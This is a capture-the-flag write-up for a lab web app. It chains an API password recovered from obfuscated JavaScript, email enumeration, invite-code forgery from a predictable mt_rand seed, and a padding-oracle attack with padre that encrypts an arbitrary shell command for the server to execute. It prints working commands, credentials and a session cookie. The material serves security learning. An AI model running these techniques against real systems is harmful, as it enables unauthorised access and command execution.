Port 1337 on an Apache web app. Login portal with two tabs. Page source already has /api.php sitting in the comments, not even trying to hide. Let's go.
Initial Enumeration
Nmap showed two ports: SSH on 22, web app on 1337. The web app won.
The login portal had two forms — username/invite code and email/invite code. Two attack surfaces before I'd done anything. Page source referenced /api.php, which had its own login. Gobuster flagged some timeouts on a few paths. Noted, filed away, moved on.
API Discovery and JavaScript Deobfuscation
/api.php had obfuscated JavaScript arrays in the source. Deobfuscated them.
API password: H7gY2tJ9wQzD4rS1
Worked immediately. The API docs were now open, and they handed over the invite code generation algorithm:
function calculate_seed_value($email, $constant_value) {
$email_length = strlen($email);
$email_hex = hexdec(substr($email, 0, 8));
$seed_value = hexdec($email_length + $constant_value + $email_hex);
return $seed_value;
}
$seed_value = calculate_seed_value($email, $constant_value);
mt_srand($seed_value);
$random = mt_rand();
$invite_code = base64_encode($random);
Same obfuscated array in /js/api.js deobfuscated to the same password. Confirmed.
Algorithm: clear. Missing piece: constant_value.
User Enumeration
While hunting for the constant I tested the login forms for behavioral differences. Submitting a fake email returned an explicit error. Submitting admin@decryptify.local with a bad code returned nothing — just silence. That difference is meaningful.
The email form leaked whether an account existed. The username form didn't. I needed the actual domain. Looped through likely candidates:
for e in admin@decryptify.thm admin@rce.thm admin@fake.thm \
admin@localhost.thm admin@ubuntu.thm; do
echo "== $e =="
curl -s -X POST http://TARGET:1337 \
-d "invite_username=$e&invite_code=test" | grep -oP '(?<=<p class="text-danger">).*(?=</p>)'
echo
done
admin@fake.thm — no error. That's the one.
Invite Code Brute Force
Valid email confirmed. Still needed constant_value to generate a working invite code. The API docs gave me the algorithm, so I just implemented it:
<?php
$email = $argv[1];
$constant_value = (int)$argv[2];
$email_length = strlen($email);
$email_hex = hexdec(substr($email, 0, 8));
$seed_value = hexdec($email_length + $constant_value + $email_hex);
mt_srand($seed_value);
$random = mt_rand();
$invite_code = base64_encode($random);
echo "email: $email\n";
echo "constant: $constant_value\n";
echo "seed: $seed_value\n";
echo "invite_code: $invite_code\n";
?>
Automated the brute force — generate a code per constant value, submit it, stop when the response changes. No hits with the first interpretation. Wrote a second generator using string concatenation instead of integer addition.
Still nothing. The constant wasn't in the 1–300 range either way. Time to stop guessing and actually enumerate.
Finding the Constant — /logs/
Reran Nmap properly this time, with --script=http-enum:
nmap -sC -sV --script=http-enum -p22,1337 TARGET
/logs/ surfaced. Visited it.
constant_value = 99999. Right there in the logs the whole time.
That directory was discoverable from the start. Deeper HTTP enumeration upfront would have found it in the first ten minutes instead of after a solid hour of creative dead ends. I'll be annoyed about that for at least a week.
Generated the correct invite code. Access code: NDYxNTg5ODkx
Admin panel. First flag retrieved.
Padding Oracle — Command Execution
The dashboard at /dashboard.php accepted a date parameter — a base64-encoded ciphertext the server decrypted server-side to figure out what shell command to run for the footer date display.
Modifying the parameter produced a very specific error:
Padding error: error:0606506D:digital envelope routines:
EVP_DecryptFinal_ex:wrong final block length
That error is the oracle. The server was leaking whether the padding on my ciphertext was valid. That's all padre needs.
Step 1 — decrypt the original value to confirm the behavior:
./padre -u 'http://TARGET:1337/dashboard.php?date=$' \
-cookie 'PHPSESSID=bmsj2b5btlphctiundj21o4ggl' \
'ET7bSJfUSDJmUAl8O4smqP91XxJSk0qgj2FnpulyU3c='
Output: date +%Y
The original ciphertext decrypted to date +%Y — exactly how the app was printing the current year in the footer. The date parameter wasn't a date string. It was an encrypted shell command.
Step 2 — encrypt a new command:
./padre -u 'http://TARGET:1337/dashboard.php?date=$' \
-cookie 'PHPSESSID=bmsj2b5btlphctiundj21o4ggl' \
-enc 'cat /home/ubuntu/flag.txt'
Dropped that into the date parameter. Server decrypted it, executed cat /home/ubuntu/flag.txt, printed the result in the footer.
Second flag. Done.
Full Attack Chain
Obfuscated JS → API password → invite code algorithm
→ User enumeration leak → valid email (admin@fake.thm)
→ PHP seed brute-force → no hit → should have enumerated earlier
→ /logs/ → constant_value = 99999 → valid invite code → admin login
→ Padding oracle decrypt → server executes shell commands
→ Padding oracle encrypt → arbitrary command injection → flag